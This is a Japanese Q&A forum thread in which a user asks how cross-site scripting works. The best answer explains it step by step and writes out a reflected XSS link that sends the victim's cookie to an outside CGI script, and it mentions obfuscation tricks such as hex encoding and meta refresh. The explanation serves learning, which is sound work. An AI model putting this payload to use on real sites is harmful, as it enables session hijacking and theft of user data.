- ベストアンサー
クロスサイトスクリプティング
何冊か本やサイトを読んだのですが、いまひとつ仕組みが分かりません。 教えてもらえないでしょうか。 悪意のあるサイトを閲覧したときに、ブラウザにスクリプトを送り込まれる、と言うのは分かりますが、 そのスクリプトが標的サイトに転送されるときの仕組みが分かりません。 送り込まれたスクリプトは、クッキーとかリファロなどには関係なく、ウィルスのようにどこかに保存され、 特定の標的サイトを開いて入力データを送ることに、反応して転送されるのでしょうか。 スクリプトが標的サイトのデータベースを経由してくるのならば、 そのDBもSQLインジェクションを送り込まれて、いつ改ざんされてもおかしくない状況にあるということですか。 プレースホルダーの対策を取っていても、サニタイジングをしていないDBが存在するとは思えません。 これ以上本を読んでも分かりそうもありません。 よろしくお願いいたします。
- みんなの回答 (2)
- 専門家の回答
質問者が選んだベストアンサー
次のWebページに,XSSによるクッキー盗用の原始的なコード例が載っています。 http://www.cgisecurity.com/articles/xss-faq.shtml#examples http://lovemorgue.org/xss.html#example 私なりに噛み砕いて説明すると次のようになるでしょうか。(以下,文章中にhttp://やwww.が含まれていると自動的にHyperLinkになるようなので,ttp://やww.で表記します) 1.標的WebサイトのPHPプログラム ttp://host/a.php には脆弱性があります。ttp://host/a.php?variable=<H1>ABC</H1> とリクエストすると,変数variableの値をサニタイズせずにそのままHTML中に埋め込んで次のようにWebブラウザにレスポンスしてくるようなプログラムです。 <html> <body> <H1>ABC</H1> </body> </html> 2.またこの標的WebサイトではCookieに user=zeno;id=021 といったユーザデータを保存しています。したがって Javascript実行を許可しているWebブラウザで ttp://host/a.php?variable=<script>document.cookie</script> とリクエストすると,Webブラウザ画面に自分のCookieデータが表示されます。(この段階では,自分の意思でhostにアクセスしており,自分のCookieを見ているわけですから,漏洩はしていません) 3.上記ができるなら,適当なホームページやHTMLが書ける掲示板やHTMLメールに,次のようなHyperLinkを書くこともできます。 <A HREF="ttp://host/a.php?variable=<script>document.location='ttp://ww.cgisecurity.com/cgi-bin/cookie.cgi?'+document.cookie</script>">どうなるかな?</A> 「どうなるかな?」をクリックすると標的Webサイトにvariableを渡し,<script>……</script>部分が埋め込まれたHTMLページを入手し,Webブラウザ側でJavascriptを実行してCookieの中身を表示し,そのデータを悪意あるWebサイト ww.cgisecurity.com のCGIプログラムに引数として渡します。悪意サイトの cookie.cgi はその後,おそらく何事もないような偽装HTMLページをレスポンスしてくることでしょう。 4.あとは,コードの中身を解読しづらくするために,Hex表記やリダイレクトURLを使ったり,HyperLinkのクリックなしで済むよう <meta http-equiv="Refresh"> を使ったり,といった偽装を施します。 ポイントは,あるサイトのCookieを別のサイトが読んでいるのではない,ということですね。標的Webサイトに移動してそのCookieを表示したのも,そのデータをURLの後ろに付加して悪意あるWebサイトに送信したのも,そのユーザ自身の行為なわけです,自動化されていて意識できなかったにしろ。
その他の回答 (1)
- tsukachan
- ベストアンサー率42% (202/470)
仕組みに関してはこのサイトが一番分かりやすいかなと思います 政府系のサイトなので内容についても問題ないと思います http://www.ipa.go.jp/security/awareness/vendor/programming/a01_02_main.html 既に見て、これで分からないのであればゴメンナサイ 違法性を孕む内容の為、具体的に出来ないってのもありますね。 ただ、セキュリティを考える上では避けて通れない道なので頑張って勉強して下さい。
お礼
ありがとうございます。 ご紹介いただいたサイトは何度も読み返しております。 それでも分からない…^^;
お礼
ありがとうございます。 おかげさまでスッキリいたしました。